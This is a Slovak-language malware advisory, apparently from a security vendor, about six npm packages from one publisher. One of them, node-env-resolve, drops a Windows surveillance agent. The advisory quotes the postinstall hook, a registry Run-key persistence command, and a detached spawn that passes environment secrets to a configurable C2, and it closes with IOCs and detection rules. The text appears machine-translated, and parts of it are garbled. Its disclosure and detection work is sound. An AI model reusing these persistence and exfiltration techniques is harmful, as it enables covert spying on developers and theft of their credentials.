TL; DR
Medzi 1. aprílom a 3. májom 2026 jeden vydavateľ npm, user0001, registrovaný s neoverenou adresou Gmail tanvisoul9@gmail.com, potichu presadil šesť balíkov so zámerne nevýraznými názvami znejúcimi o infraštruktúre: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimea node-env-resolve.
Najnovšie dve verzie node-env-resolveVerzie , 1.0.7 a 1.0.8 boli 2. mája označené systémom včasného varovania pred škodlivým softvérom (MEW) spoločnosti Xygeni a 3. mája boli potvrdené ako škodlivé.
Implantát je nezvyčajný tým, čím nie je: neexistujú žiadne Telegram boty, žiadne OAST spätné volania, žiadne zahmlievaniea žiadny pokus o získanie prihlasovacích údajov AWS počas inštalácie. Namiesto toho, postinstall.js vytvorí položku pre perzistenciu zavádzania systému Windows pomocou kľúča HKCU Run, ktorý spúšťa wscript.exe proti VBS stubu. Potom spustí samostatného Node.js agenta, ktorý obsahuje moduly na zachytávanie z mikrofónu, krádež histórie prehliadača, vytváranie snímok obrazovky a simuláciu myši/klávesnice.
Tento klaster nazývame DevTap, po skončení súpravy beží na počítači vývojára.
Všetkých šesť balíkov bolo v čase písania tohto článku spustených na npm. Odoslali sme ich do kanála zneužívania v registri. Obrancovia by mali stiahnuť všetky inštalácie od vydavateľa, ktoré čakajú na odstránenie.
Klaster: Šesť balíkov, jeden vydavateľ
Účet vydavateľa user0001 je neoverené. Nemá žiadne SCM overenie, žiadne e-maily viazané na doménu a žiadna predchádzajúca história. Používateľ Gmailu tanvisoul9 sa neobjavuje v žiadnom inom zázname vydavateľa npm, ktorý sme dokázali nájsť.
Všetkých šesť balíkov uvádza toho istého správcu, boli publikované z toho istého účtu a zdieľajú rovnaké package.json štandardný text. Neexistuje žiadny repository, č homepagea nie description dlhšie ako jeden riadok.
Zaujímavá je stratégia pomenovávania. Na rozdiel od klasickej kampane zameranej na zmätok zo závislostí alebo preklepy, žiadny z týchto názvov nie je zameraný na konkrétnu upstreamovú knižnicu. Namiesto toho sú kalibrované tak, aby zmizli v skutočnej package.json or npm ls výstup.
| Balíček | Prvé zverejnené | Najnovšia verzia | verzia | Úloha v klastri |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, od 1.0.5 do 1.0.9 | Obálka „utility logging“ klastra; najskoršia publikácia |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Generický kryt pomocného DOM nástroja |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Napodobňuje rodinu uzlov pre načítanie |
| konektor-agent | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Generický názov „agent“ |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Napodobňuje nástroje na zostavovanie natívnych modulov |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, od 1.0.0 do 1.0.9 | Aktívna kvapkadlo; plný implantát |
Mená ako centralogger, node-fetch-litea node-gyp-runtime sú navrhnuté tak, aby pri kontrole kódu vyzerali nekontroverzne. Znejú ako veci, ktoré by už boli v strome závislostí projektu.
V kombinácii s novým, neovereným vydavateľom a chýbajúcimi odkazmi na repozitáre tvoria rozpoznateľný vzorec: aktér vkladá do registra názvy s nízkym trením a potom rýchlo prechádza na ten, ktorý je dôležitý. V tomto prípade, node-env-resolve dostal desať verzií za osem dní.
Čo pristane na vývojárskom balíku Windowsu
Zlomyseľný reťazec na node-env-resolve:1.0.8 je krátky, priamy a nezvyčajne bohatý na funkcie pre npm RAT.
Po inštalácii: Perzistencia a odpojený agent
package.json deklaruje jeden inštalačný hook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js robí postupne tri veci.
Najprv vytvorí inštalačný adresár mimo npm stromu. Cesta sa vypočíta za behu v skripte ako INSTALL_DIRPotom spustí interný execSync('npm install --production --silent ...') vo vnútri, aby sa stiahli závislosti implantátu za behu. Tým sa agent umiestni na disk niekde, kde je manuál node_modules audit to nenájde.
Po druhé, zapíše spúšťač VBS a zaregistruje ho pre perzistenciu bootovania:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe je hostiteľ skriptov systému Windows, podpísaný binárny súbor od spoločnosti Microsoft, ktorý spúšťa .vbs súbory bez konzolového okna. To je predcisPreto je uprednostňovaný pre automatické spúšťanie.
Existuje aj zhoda reg delete cesta dovnútra src/index.js, čo naznačuje, že implantát je navrhnutý tak, aby sa dal na príkaz operátora ľahko odstrániť.
Po tretie, vytvára oddelený podradený proces:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Dôležité sú tu dva detaily.
SERVER_URL sa číta z prostredia. V dôsledku toho je koncový bod C2 konfigurovateľný pre každé nasadenie a nie je integrovaný do balíka. Táto malá, ale zámerná voľba premení väčšinu statických IOC sweepov.
Taktiež vytvorený potomok zdedí celé rodičovské prostredie. Preto akékoľvek NPM_TOKEN, AWS_*, GITHUB_TOKEN, alebo soket SSH agenta prítomný vo vývojárskom shelli v čase inštalácie putuje do pamäte dlhodobo fungujúceho agenta.
Čo agent dodáva
Zbalený src/ strom obsahuje tri moduly, ktorých názvy už len samy o sebe vypovedajú príbeh: audioCapture.js, browserHistory.jsa systemInfo.js.
Zoznam závislostí za behu, vyriešený počas fázovania npm install, potvrdzuje ich.
Tento prístup premení chaotický incident na kontrolovanú reakciu.
Namiesto slepej reakcie tímy fungujú s jasné stanovenie priorít a rýchla náprava.
| Závislosť | Na čo to v tomto kontexte slúži |
|---|---|
| snímka obrazovky pracovnej plochy | Pravidelné snímanie obrazovky |
| @orech-tree-fork/orech-js | Automatizácia/simulácia vstupu myšou a klávesnicou |
| lepšie-sqlite3 | Priame čítanie histórie prehliadačov Chrome, Edge a Firefox z databáz SQLite |
| adm-zip | Zväzovanie zozbieraných artefaktov pred exfiltráciou |
| ostrý | Zmena veľkosti/kompresia snímok obrazovky a obrazových artefaktov |
| socket.io-client | Trvalý obojsmerný kanál C2 |
| ID uzla-počítača | Stabilný odtlačok prsta pre každý hostiteľ na sledovanie obete |
systemInfo.js volá os.networkInterfaces() pre dodatočné odtlačky prstov pred prvým majákom.
Prečo je zachytávanie zvuku výnimočným signálom
Väčšina npm RATov, ktorých v MEW triedime, sa zastavia pri krádeži tajných informácií počas inštalácie. Čítajú ~/.npmrc, prečítajte si ~/.aws/credentials, škrabať process.env, POST na webhook a ukončenie. To zodpovedá ekonomickému modelu „rozbi a uchmatni“. Prihlasovacie údaje majú krátky polčas rozpadu a útočník ich potrebuje rýchlo speňažiť.
node-env-resolve má odlišný tvar.
Perzistencia je nastavená tak, aby prežila reštart. Agent beží oddelene a má dlhú životnosť pod wscript.exeSúprava, ktorú obsahuje, je určená na to, aby bola na počítači vývojára, nie na jej uchopenie a odchod: záznamník mikrofónu, ovládač klávesnice/myši, kompletný záznam histórie prehliadača, snímanie obrazovky a interaktívny kanál Socket.IO späť do konfigurovateľného C2.
Najmä zachytávanie mikrofónov je hranica, ktorú táto kampaň prekračuje, a ktorú väčšina malvéru NPM neprekročí.
Vývojárska pracovná stanica je čoraz častejšie aj pracovnou stanicou, kde vývojári prezentujú svoje názory, telefonujú so zákazníkmi, vedú diskusie o dizajne a vedú pohotovostné mosty. Implantát, ktorý nahráva mikrofón, v skutočnosti nesleduje vývojárov npm token. Sleduje, čo vývojár hovorí pred notebookom.
Táto sada funkcií, plus absencia zahmlievania a akéhokoľvek okázalého odcudzenia údajov počas inštalácie, sa interpretuje ako predbežná príprava na cielený prístup, a nie ako oportunistická krádež poverení.
Netvrdíme pripisovanie len na základe tohto. Berieme do úvahy operačný profil.

Osemdňová iteračná kadencia na node-env-resolve je najoperačnejšie výpovedným detailom v časovej osi.
Toto nie je dropper typu „vypáli a zabudni“. Vydavateľ aktívne udržiava dropper, čo zvyčajne znamená jednu z dvoch vecí. Buď ho pred širším nasadením ladí v testovacích prostrediach, alebo už má k dispozícii telemetriu inštalácie a reaguje na ňu.
Ostatných päť balíkov po svojom prvom publikovaní v podstate nezaznamenalo žiadny odliv. To zodpovedá vzoru „raz spustíme, pomenujeme“ pre podporný klaster, zatiaľ čo inžinierske úsilie sa zameriava na balík, ktorý vykonáva prácu.
Pripisovanie: Malé indície, žiadny pevný verdikt
Verejnosť OSINT Signály sú tenké a nebudeme ich rozťahovať. Čo je pozorovateľné:
Používateľ Gmailu tanvisoul9 čiastočne pripomína juhoázijské krstné meno „Tanvi“. Toto je slabý signál. Účty Gmailu nepredstavujú identitu a koncové soul9 je generické. Nie je bezpečné odvodzovať geografiu len z lokálnej časti e-mailu.
Štýl kódu Node.js je nevýrazný: standard hovory z knižnice, ako napríklad os, child_process, spawna reg addNeexistuje žiadne zahmlievanie, rotácia reťazcov ani logika proti ladeniu. Autor je zvyknutý na primitívy registra systému Windows a orchestráciu oddelených podprocesov, ale nezdá sa, že by siahal po nenápadnejších technikách, ktoré by mohli pravdepodobne používať.
Závislosti sú úplne štandardné a dobre známe: screenshot-desktop, nut-js, better-sqlite3a socket.io-clientNeexistuje žiadny vlastný protokol, žiadny C2 stack vytvorený od základu ani žiadny nový trik s perzistenciou nad rámec učebnice. Kľúč Spustiť HKCUToto je kompetentný integrátor, nie autor nástrojov.
V publikovaných artefaktoch sme nenašli reťazce v inom jazyku ako angličtina, vložené komentáre, lokalizačné údaje ani odtlačky časových pásiem z výstupu kompilátora.
Skontrolovali sme, či sa kód neprekrýva s predchádzajúcimi kampaňami, ktoré už sledujeme, vrátane Shai Hulud, Owlivion, Buildkite a nedávny heibai / claude-code-best Rodina klonov Anthropic-CLI. Nenašli sme žiadne: žiadne zdieľané vzory C2, žiadne zdieľané rozloženia súborov ani žiadne zdieľané idiomy.
Čo by sme nepovedali: že ide o štátneho aktéra, známu skupinu alebo že je geograficky viazaný na nejakú konkrétnu krajinu.
Prevádzkový profil je v súlade s malým, stredne kvalifikovaným tímom vykonávajúcim dohľad nad pracovnými stanicami vývojárov. Pravdepodobne je to finančne motivované prostredníctvom následného využívania prístupu, ale pravdepodobne aj prieskumom ako službou pre samostatného kupujúceho.
Dva nepriame body to podporujú: vyhýbanie sa pútavým mechanizmom exfiltrácie, ktoré by rýchlo spálili klaster, ako sú napríklad Telegram boty, oastify.com, alebo canarytokens, a zámerne nevýrazné názvy balíčkov, ktoré uprednostňujú tiché dlhodobé inštalácie pred krátkym nárastom veľkého objemu.
Indikátory kompromitácie a odhalenia
| Balíky a vydavateľ | |
|---|---|
| Pole | Hodnota |
| vydavateľ npm | user0001 |
| E-mail vydavateľa | tanvisoul9@gmail.com, neoverené |
| Balíčky | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Potvrdené škodlivé | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Hostiteľské artefakty | |
|---|---|
| Typ | Hodnota |
| Kľúč perzistencie | HKCU\Softvér\Microsoft\Windows\Aktuálna verzia\Spustiť |
| Hodnota perzistencie | Názov premennej; dáta vo formáte wscript.exe " \\ .vbs" |
| Nainštalujte hák | postinstall: uzol postinstall.js v manifeste balíka |
| Implantátové moduly | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Prípravný adresár | INSTALL_DIR sa nachádza mimo node_modules projektu; umiestnenie je nastavené súborom postinstall.js počas inštalácie |
| sieť | |
|---|---|
| Typ | Hodnota |
| Preprava C2 | socket.io-client, perzistentný obojsmerný kanál |
| Koncový bod C2 | Poskytnuté agentovi prostredníctvom premennej prostredia SERVER_URL; nie je pevne zakódované v publikovaných artefaktoch |
Poznámky k detekcii
Túto rodinu zachytávajú dve pravidlá bez potreby koncového bodu C2.
Najprv označte skripty po inštalácii, ktoré vykonávajú internú npm install do cesty mimo vlastného adresára balíka. Akýkoľvek legitímny program na stiahnutie predzostavení, ako napríklad node-gyp prestavby alebo sťahovanie vopred zostavených binárnych súborov, zápisy do balíka alebo do platformy-standard cesty vyrovnávacej pamäte s overenými hashmi. Nezapisuje do novovytvorenej INSTALL_DIR inde na disku.
Po druhé, označte skripty po inštalácii, ktoré vydávajú problémy reg add HKCU\…\Run s wscript.exe ako spúšťač. Toto v podstate nikdy nie je legitímne z npm balíka. Nahláste to a uložte do karantény.
Tretia heuristika je užitočná na nájdenie ďalšieho súrodeneckého balíka predtým, ako bude potvrdený: nový npm vydavateľ bez SCM overenie, e-mail Gmail, nie repository pole a viacero krátkych, generických názvov balíkov znejúcich ako infraštruktúra publikovaných v priebehu niekoľkých dní je samo o sebe dostatočné na to, aby sa ospravedlnila manuálna kontrola.
Nahlásené do registra npm. Tento príspevok aktualizujeme po odstránení účtu vydavateľa.






